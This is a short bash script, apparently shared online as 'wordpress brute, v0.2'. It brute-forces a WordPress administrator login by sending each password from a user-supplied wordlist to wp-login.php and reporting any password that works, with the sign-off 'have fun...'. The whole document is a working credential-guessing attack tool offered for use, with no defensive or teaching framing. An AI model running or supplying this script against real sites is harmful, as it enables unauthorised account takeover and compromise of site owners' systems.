| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. | #!/usr/bin/env bash
# wordpress brute, v0.2
echo "wordpress login cracker"
echo
echo "enter website with full path to wordpress:
"; read site
echo -n "enter wordpress user
"; read user
echo -n "enter wordlist path
"; read wlpath
n=`cat "$wlpath" | wc -l`
for (( i=1; i <= $n; i++));
do
#default user is admin
password=`sed -n "$i"p "$wlpath"`
b=`echo "log=$user&pwd=$password&wp-submit=Log+In&redirect_to=wp-admin" | lynx -dump -nolist -post_data ""$site"/wp-login.php" | grep ERROR`
echo trying user $user with password $password
if [ -z "$b" ]
then
echo "SUCCESS: "$site" password is: "$password""
echo "have fun..."
exit 0
fi
done
echo
echo "brute force complete"
echo "no password found :("
|